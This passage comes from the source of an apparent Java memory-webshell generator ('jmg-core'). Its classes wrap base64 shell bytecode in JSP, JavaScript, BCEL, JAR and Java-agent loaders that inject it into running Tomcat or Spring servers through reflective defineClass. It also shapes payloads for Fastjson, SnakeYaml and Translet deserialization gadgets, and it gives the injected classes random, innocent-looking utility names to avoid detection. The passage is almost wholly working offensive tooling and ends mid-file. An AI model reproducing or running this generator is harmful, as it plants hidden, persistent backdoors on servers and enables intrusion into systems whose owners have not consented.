FORMAT_BCEL = "BCEL"; 41 | public static final String FORMAT_JSP = "JSP"; 42 | public static final String FORMAT_JAR = "JAR"; 43 | public static final String FORMAT_JAR_AGENT = "JAR_AGENT"; 44 | public static final String FORMAT_JS = "JS"; 45 | public static final String FORMAT_BASE64 = "BASE64"; 46 | public static final String FORMAT_BIGINTEGER = "BIGINTEGER"; 47 | 48 | 49 | public static final String GADGET_FJ_GROOVY = "FastjsonGroovy"; 50 | 51 | public static final String GADGET_SNAKEYAML = "SnakeYaml"; 52 | 53 | public static final String GADGET_NONE = "NONE"; 54 | 55 | public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet"; 56 | public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet"; 57 | 58 | public static final String TOOL_ANTSWORD = "AntSword"; 59 | public static final String TOOL_BEHINDER = "Behinder"; 60 | public static final String TOOL_GODZILLA = "Godzilla"; 61 | 62 | public static final String TOOL_CUSTOM = "Custom"; 63 | 64 | public static final String TOOL_NEOREGEORG = "NeoreGeorg"; 65 | public static final String TOOL_SUO5 = "Suo5"; 66 | 67 | public static final String EXPR_EL = "EL"; 68 | public static final String EXPR_SPEL = "SpEL"; 69 | public static final String EXPR_OGNL = "OGNL"; 70 | public static final String EXPR_FREEMARKER = "FreeMarker"; 71 | public static final String EXPR_VELOCITY = "Velocity"; 72 | public static final String EXPR_JS = "ScriptEngineManager(JS)"; 73 | 74 | public static final String DETECT_DNS = "DNSLog"; 75 | public static final String DETECT_HTTP = "HTTPLog"; 76 | 77 | public static final String DETECT_SLEEP = "Sleep"; 78 | public static final String DETECT_DFSECHO = "DFSEcho"; 79 | 80 | } 81 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BASE64Formater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | 6 | import java.io.IOException; 7 | import java.util.Base64; 8 | 9 | public class BASE64Formater implements IFormater { 10 | @Override 11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 12 | Base64.Encoder base64Encoder = Base64.getEncoder(); 13 | return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes(); 14 | } 15 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BCELFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import me.gv7.woodpecker.bcel.HackBCELs; 5 | 6 | import java.io.IOException; 7 | 8 | public class BCELFormater implements IFormater { 9 | 10 | 11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 12 | // 解决 BCEL 的classloader 的问题 13 | byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config); 14 | return HackBCELs.encode(bcelClzBytes).getBytes(); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BCELoader.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import java.lang.reflect.Method; 4 | 5 | public class BCELoader { 6 | static { 7 | new BCELoader(); 8 | } 9 | 10 | private String getClassName() { 11 | return ""; 12 | } 13 | 14 | private String getBase64String() { 15 | return ""; 16 | } 17 | 18 | public BCELoader() { 19 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 20 | try { 21 | classLoader.loadClass(getClassName()).newInstance(); 22 | } catch (Exception e) { 23 | try { 24 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 25 | defineClass.setAccessible(true); 26 | byte[] clazzBytes = decodeFromBase64(getBase64String()); 27 | Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length); 28 | clazz.newInstance(); 29 | } catch (Exception ee) { 30 | } 31 | } 32 | } 33 | 34 | public static byte[] decodeFromBase64(String input) { 35 | byte[] var2 = null; 36 | 37 | Class var1; 38 | try { 39 | var1 = Class.forName("java.util.Base64"); 40 | Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null); 41 | var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input)); 42 | } catch (Exception var6) { 43 | try { 44 | var1 = Class.forName("sun.misc.BASE64Decoder"); 45 | Object var4 = var1.newInstance(); 46 | var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input)); 47 | } catch (Exception var5) { 48 | } 49 | } 50 | 51 | return var2; 52 | } 53 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | import jmg.core.config.AbstractConfig; 8 | import jmg.core.util.JavassistUtil; 9 | 10 | public class BCELoaderGenerator { 11 | public static byte[] generatorBCELoaderClass(AbstractConfig config) { 12 | try { 13 | ClassPool pool = ClassPool.getDefault(); 14 | ClassClassPath classPath = new ClassClassPath(BCELoader.class); 15 | pool.insertClassPath(classPath); 16 | CtClass ctClass = pool.getCtClass(BCELoader.class.getName()); 17 | ctClass.setName(config.getLoaderClassName()); 18 | ctClass.getClassFile().setVersionToJava5(); 19 | CtMethod getClassName = ctClass.getDeclaredMethod("getClassName"); 20 | getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName())); 21 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); 22 | String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), ""); 23 | String[] parts = splitChunks(base64ClassString, 40000); 24 | StringBuilder result = new StringBuilder(); 25 | for (int i = 0; i < parts.length; i++) { 26 | if (i > 0) result.append("+"); 27 | result.append("new String(\"" + parts[i] + "\")"); 28 | } 29 | getBase64String.setBody(String.format("{return %s;}", result)); 30 | ctClass.defrost(); 31 | JavassistUtil.removeSourceFileAttribute(ctClass); 32 | byte[] bytes = ctClass.toBytecode(); 33 | ctClass.detach(); 34 | return bytes; 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | return null; 39 | } 40 | 41 | private static String encodeToBase64(byte[] input) throws Exception { 42 | String value = null; 43 | Class base64; 44 | try { 45 | base64 = Class.forName("java.util.Base64"); 46 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); 47 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input); 48 | } catch (Exception var6) { 49 | try { 50 | base64 = Class.forName("sun.misc.BASE64Encoder"); 51 | Object Encoder = base64.newInstance(); 52 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input); 53 | } catch (Exception var5) { 54 | } 55 | } 56 | return value; 57 | } 58 | 59 | private static String[] splitChunks(String source, int CHUNK_SIZE) { 60 | String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)]; 61 | char[] payload = source.toCharArray(); 62 | int start = 0; 63 | for (int i = 0; i < ret.length; i++) { 64 | if (start + CHUNK_SIZE > payload.length) { 65 | char[] b = new char[payload.length - start]; 66 | System.arraycopy(payload, start, b, 0, payload.length - start); 67 | ret[i] = new String(b); 68 | } else { 69 | char[] b = new char[CHUNK_SIZE]; 70 | System.arraycopy(payload, start, b, 0, CHUNK_SIZE); 71 | ret[i] = new String(b); 72 | } 73 | start += CHUNK_SIZE; 74 | } 75 | return ret; 76 | } 77 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | 6 | import java.io.IOException; 7 | import java.math.BigInteger; 8 | 9 | public class BigIntegerFormater implements IFormater { 10 | @Override 11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 12 | return new BigInteger(clazzbyte).toString(36).getBytes(); 13 | } 14 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/IFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | 6 | import java.io.IOException; 7 | 8 | public interface IFormater { 9 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception; 10 | } 11 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import javassist.ClassPool; 4 | import javassist.CtClass; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.template.SpringMVCAgentTransformer; 8 | import jmg.core.template.TomcatAgentTransformer; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | 12 | import java.io.*; 13 | import java.nio.file.Files; 14 | import java.nio.file.Paths; 15 | import java.util.Enumeration; 16 | import java.util.jar.JarEntry; 17 | import java.util.jar.JarFile; 18 | import java.util.jar.JarOutputStream; 19 | import java.util.jar.Manifest; 20 | 21 | // todo: 其他中间件 22 | 23 | public class JARAgentFormater implements IFormater { 24 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception { 25 | String className = TomcatAgentTransformer.class.getName(); 26 | String simpleName = TomcatAgentTransformer.class.getSimpleName(); 27 | if (config.getServerType().equals(Constants.SERVER_TOMCAT)) { 28 | className = TomcatAgentTransformer.class.getName(); 29 | simpleName = TomcatAgentTransformer.class.getSimpleName(); 30 | } else if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)) { 31 | className = SpringMVCAgentTransformer.class.getName(); 32 | simpleName = SpringMVCAgentTransformer.class.getSimpleName(); 33 | } else { 34 | throw new RuntimeException(String.format("Java Agent 暂时只支持 %s、%s",Constants.SERVER_TOMCAT,Constants.SERVER_SPRING_MVC)); 35 | } 36 | 37 | String classFileName = simpleName.replace('.', '/') + ".class"; 38 | ClassPool pool = ClassPool.getDefault(); 39 | // Note: jar 包中的文件不能通过文件路径读取,需要通过流读取 40 | // File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile()); 41 | 42 | InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar"); 43 | File jarFile = File.createTempFile("jmg-agent", ".jar"); 44 | try (FileOutputStream out = new FileOutputStream(jarFile)) { 45 | byte[] buffer = new byte[1024]; 46 | int bytesRead; 47 | while ((bytesRead = jarStream.read(buffer)) != -1) { 48 | out.write(buffer, 0, bytesRead); 49 | } 50 | } 51 | 52 | Manifest manifest = createManifest(simpleName); 53 | File tempJarFile = File.createTempFile("tempJar", ".jar"); 54 | 55 | try (JarFile jar = new JarFile(jarFile); 56 | JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) { 57 | 58 | copyJarEntries(jar, tempJar); 59 | 60 | addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(), CommonUtil.encodeBase64(clazzbyte)); 61 | } catch (Exception e) { 62 | e.printStackTrace(); 63 | } 64 | 65 | return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath())); 66 | } 67 | 68 | private Manifest createManifest(String simpleName) { 69 | Manifest manifest = new Manifest(); 70 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); 71 | manifest.getMainAttributes().putValue("Agent-Class", simpleName); 72 | manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true"); 73 | manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true"); 74 | manifest.getMainAttributes().putValue("Main-Class", simpleName); 75 | return manifest; 76 | } 77 | 78 | private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException { 79 | Enumeration jarEntries = jar.entries(); 80 | while (jarEntries.hasMoreElements()) { 81 | JarEntry entry = jarEntries.nextElement(); 82 | try (InputStream entryInputStream = jar.getInputStream(entry)) { 83 | tempJar.putNextEntry(entry); 84 | byte[] buffer = new byte[1024]; 85 | int bytesRead; 86 | while ((bytesRead = entryInputStream.read(buffer)) != -1) { 87 | tempJar.write(buffer, 0, bytesRead); 88 | } 89 | } 90 | } 91 | } 92 | 93 | private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar, String injectFlag, String injectorCode) throws Exception { 94 | CtClass ctClass = pool.get(className); 95 | ctClass.getClassFile().setVersionToJava5(); 96 | ctClass.setName(simpleName); 97 | JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";"); 98 | tempJar.putNextEntry(new JarEntry(classFileName)); 99 | tempJar.write(ctClass.toBytecode()); 100 | ctClass.detach(); 101 | } 102 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/JARFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.nio.charset.StandardCharsets; 8 | import java.util.jar.JarEntry; 9 | import java.util.jar.JarOutputStream; 10 | import java.util.jar.Manifest; 11 | 12 | public class JARFormater implements IFormater { 13 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 14 | String className = config.getInjectorClassName(); 15 | String jarEntryFileName = className.replace(".", "/") + ".class"; 16 | 17 | Manifest manifest = new Manifest(); 18 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); 19 | 20 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 21 | try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) { 22 | jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName)); 23 | jarOutputStream.write(clazzbyte); 24 | jarOutputStream.closeEntry(); 25 | 26 | // fastjson + groovy 的利用 27 | if (config.isImplementsASTTransformationType()) { 28 | String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation"; 29 | JarEntry entry = new JarEntry(entryName); 30 | jarOutputStream.putNextEntry(entry); 31 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); 32 | jarOutputStream.closeEntry(); 33 | } 34 | 35 | // snakeyaml + loadJar 的利用 36 | if (config.isImplementsScriptEngineFactory()) { 37 | String entryName = "META-INF/services/javax.script.ScriptEngineFactory"; 38 | JarEntry entry = new JarEntry(entryName); 39 | jarOutputStream.putNextEntry(entry); 40 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); 41 | jarOutputStream.closeEntry(); 42 | } 43 | } 44 | 45 | return out.toByteArray(); 46 | } 47 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/JSPFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import me.gv7.woodpecker.tools.codec.BASE64Encoder; 5 | 6 | import java.io.IOException; 7 | 8 | public class JSPFormater implements IFormater { 9 | 10 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 11 | String strJSP = "<%\n" + 12 | " ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" + 13 | " try{\n" + 14 | " classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" + 15 | " }catch (Exception e){\n" + 16 | " java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" + 17 | " defineClass.setAccessible(true);\n" + 18 | " String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" + 19 | " byte[] bytecode = null;\n" + 20 | " try {\n" + 21 | " Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" + 22 | " Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + 23 | " Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" + 24 | " bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" + 25 | " } catch (ClassNotFoundException ee) {\n" + 26 | " Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + 27 | " bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" + 28 | " }\n" + 29 | " Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" + 30 | " clazz.newInstance();\n" + 31 | " }\n" + 32 | "%>"; 33 | return strJSP.getBytes(); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import me.gv7.woodpecker.tools.codec.BASE64Encoder; 5 | 6 | import java.io.IOException; 7 | 8 | public class JavaScriptFormater implements IFormater { 9 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 10 | String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 11 | "try{\n" + 12 | " classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" + 13 | "}catch (e){\n" + 14 | " var clsString = classLoader.loadClass('java.lang.String');\n" + 15 | " var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" + 16 | " var bytecode;\n" + 17 | " try{\n" + 18 | " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" + 19 | " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + 20 | " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" + 21 | " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" + 22 | " } catch (ee) {\n" + 23 | " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + 24 | " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" + 25 | " }\n" + 26 | " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" + 27 | " var clsByteArray = classLoader.loadClass('[B');\n" + 28 | " var clsInt = java.lang.Integer.TYPE;\n" + 29 | " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" + 30 | " defineClass.setAccessible(true);\n" + 31 | " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" + 32 | " clazz.newInstance();\n" + 33 | "}"; 34 | return strJS.getBytes(); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.core.generator; 2 | 3 | import javassist.ClassPool; 4 | import jmg.core.config.AbstractConfig; 5 | 6 | public interface IShellGenerator { 7 | ClassPool pool = ClassPool.getDefault(); 8 | 9 | void initShell(AbstractConfig config); 10 | 11 | byte[] makeShell(AbstractConfig config) throws Exception; 12 | 13 | byte[] modifyShell(String className, AbstractConfig config); 14 | } 15 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.core.generator; 2 | 3 | import javassist.*; 4 | import javassist.bytecode.AccessFlag; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.util.*; 8 | 9 | 10 | /** 11 | * 注入器生成 12 | */ 13 | public class InjectorGenerator { 14 | public byte[] makeInjector(AbstractConfig config) throws Exception { 15 | String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType()); 16 | String injectorClassName = InjectorUtil.getInjectorClassName(injectorName); 17 | byte[] bytes = UtilPlus.generate(injectorClassName, config); 18 | config.setInjectorBytes(bytes); 19 | config.setInjectorBytesLength(bytes.length); 20 | return bytes; 21 | } 22 | 23 | 24 | public static class UtilPlus { 25 | @SuppressWarnings("unchecked") 26 | private final static ClassPool pool = ClassPool.getDefault(); 27 | 28 | public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception { 29 | pool.insertClassPath(new ClassClassPath(InjectorGenerator.class)); 30 | CtClass ctClass = pool.getCtClass(injectorTplClassName); 31 | ctClass.getClassFile().setVersionToJava5(); 32 | String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), ""); 33 | 34 | String urlPattern = config.getUrlPattern(); 35 | String shellClassName = config.getShellClassName(); 36 | 37 | if (base64ShellString != null) { 38 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); 39 | String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000); 40 | StringBuilder result = new StringBuilder(); 41 | for (int i = 0; i < parts.length; i++) { 42 | if (i > 0) 43 | result.append("+"); 44 | result.append("new String(\"" + parts[i] + "\")"); 45 | } 46 | 47 | getBase64String.setBody(String.format("{return %s;}", result)); 48 | } 49 | 50 | if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) { 51 | CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern"); 52 | getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern)); 53 | } 54 | 55 | if (shellClassName != null) { 56 | CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName"); 57 | getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName)); 58 | } 59 | 60 | if (config.isEnableBypassJDKModule()) { 61 | // 添加 bypassJDKModule 方法 62 | CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass); 63 | ctMethod.setModifiers(AccessFlag.PUBLIC); 64 | ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody()); 65 | ctClass.addMethod(ctMethod); 66 | 67 | // 添加 bypassJDKModule 调用 68 | CtConstructor constructor = ctClass.getConstructors()[0]; 69 | constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers())); 70 | constructor.insertBeforeBody("bypassJDKModule();"); 71 | } 72 | 73 | JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName()); 74 | JavassistUtil.removeSourceFileAttribute(ctClass); 75 | byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation(); 76 | ctClass.detach(); 77 | return bytes; 78 | } 79 | 80 | private static String[] splitChunks(String source, int CHUNK_SIZE) { 81 | String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)]; 82 | char[] payload = source.toCharArray(); 83 | int start = 0; 84 | for (int i = 0; i < ret.length; i++) { 85 | if (start + CHUNK_SIZE > payload.length) { 86 | char[] b = new char[payload.length - start]; 87 | System.arraycopy(payload, start, b, 0, payload.length - start); 88 | ret[i] = new String(b); 89 | } else { 90 | char[] b = new char[CHUNK_SIZE]; 91 | System.arraycopy(payload, start, b, 0, CHUNK_SIZE); 92 | ret[i] = new String(b); 93 | } 94 | start += CHUNK_SIZE; 95 | } 96 | return ret; 97 | } 98 | } 99 | 100 | 101 | } 102 | 103 | 104 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/jMGCodeApi.java: -------------------------------------------------------------------------------- 1 | package jmg.core; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | import jmg.core.config.Constants; 6 | import jmg.core.format.*; 7 | 8 | public class jMGCodeApi { 9 | AbstractConfig config; 10 | 11 | public jMGCodeApi(AbstractConfig config) { 12 | this.config = config; 13 | } 14 | 15 | public byte[] generate() throws Throwable { 16 | byte[] clazzBytes; 17 | if (config.isEnabledExtender()) { 18 | clazzBytes = config.getExtenderBytes(); 19 | } else { 20 | clazzBytes = config.getInjectorBytes(); 21 | } 22 | if (clazzBytes == null) { 23 | return null; 24 | } 25 | 26 | // 格式转换 27 | byte[] bytes = null; 28 | switch (config.getOutputFormat()) { 29 | case Constants.FORMAT_BCEL: 30 | bytes = new BCELFormater().transform(clazzBytes, config); 31 | break; 32 | case Constants.FORMAT_JSP: 33 | bytes = new JSPFormater().transform(clazzBytes, config); 34 | break; 35 | case Constants.FORMAT_JAR: 36 | bytes = new JARFormater().transform(clazzBytes, config); 37 | break; 38 | case Constants.FORMAT_JAR_AGENT: 39 | bytes = new JARAgentFormater().transform(clazzBytes, config); 40 | break; 41 | case Constants.FORMAT_JS: 42 | bytes = new JavaScriptFormater().transform(clazzBytes, config); 43 | break; 44 | case Constants.FORMAT_BASE64: 45 | bytes = new BASE64Formater().transform(clazzBytes, config); 46 | break; 47 | case Constants.FORMAT_BIGINTEGER: 48 | bytes = new BigIntegerFormater().transform(clazzBytes, config); 49 | break; 50 | default: 51 | bytes = clazzBytes; 52 | break; 53 | } 54 | return bytes; 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | 4 | 5 | import jmg.core.config.Constants; 6 | 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | import java.util.Random; 10 | 11 | 12 | public class ClassNameUtil { 13 | static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"}; 14 | static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"}; 15 | 16 | 17 | public static String getRandomName(String[]... arrays) { 18 | List classNames = new ArrayList<>(); 19 | for (String[] array : arrays) { 20 | for (String className : array) { 21 | classNames.add(className); 22 | } 23 | } 24 | Random random = new Random(); 25 | int index = random.nextInt(classNames.size()); 26 | return classNames.get(index); 27 | } 28 | 29 | 30 | public static String generateRandomString() { 31 | Random random = new Random(); 32 | StringBuilder sb = new StringBuilder(); 33 | int length = random.nextInt(2) + 1; // 生成1-3之间的随机数 34 | for (int i = 0; i < length; i++) { 35 | char c = (char) (random.nextInt(26) + 'a'); 36 | sb.append(c); 37 | } 38 | return sb.toString(); 39 | } 40 | 41 | public static String getRandomInjectorClassName(){ 42 | 43 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); 44 | } 45 | 46 | public static String getRandomExtenderClassName(){ 47 | 48 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); 49 | } 50 | 51 | public static String getRandomLoaderClassName(){ 52 | 53 | return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); 54 | } 55 | 56 | 57 | public static String getClassPrefixName(){ 58 | return ClassNameUtil.getRandomName(prefixNames); 59 | } 60 | 61 | public static String getRandomShellClassName(String shellType) { 62 | 63 | if (shellType.contains(Constants.SHELL_LISTENER)){ 64 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener"; 65 | } 66 | if (shellType.contains(Constants.SHELL_VALVE)){ 67 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Valve"; 68 | } 69 | if (shellType.contains(Constants.SHELL_INTERCEPTOR)){ 70 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor"; 71 | } 72 | if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){ 73 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler"; 74 | } 75 | return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter"; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/CtClassUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import javassist.ClassPool; 4 | import javassist.CtClass; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | 8 | /** 9 | * 专项漏洞的处理 10 | */ 11 | public class CtClassUtil { 12 | private AbstractConfig config; 13 | private ClassPool pool; 14 | private CtClass ctClass; 15 | 16 | public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) { 17 | this.config = config; 18 | this.pool = pool; 19 | this.ctClass = ctClass; 20 | } 21 | 22 | 23 | public byte[] modifyForExploitation() throws Exception { 24 | if (config.getGadgetType() != null) { 25 | if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) { 26 | applyJDKAbstractTranslet(); 27 | } 28 | if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) { 29 | applyXALANAbstractTranslet(); 30 | } 31 | 32 | if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) { 33 | applyFastjsonGroovyASTTransformation(); 34 | } 35 | if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) { 36 | applySnakeYamlScriptEngineFactory(); 37 | } 38 | } 39 | return ctClass.toBytecode(); 40 | } 41 | 42 | 43 | public void applyJDKAbstractTranslet() throws Exception { 44 | JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); 45 | } 46 | 47 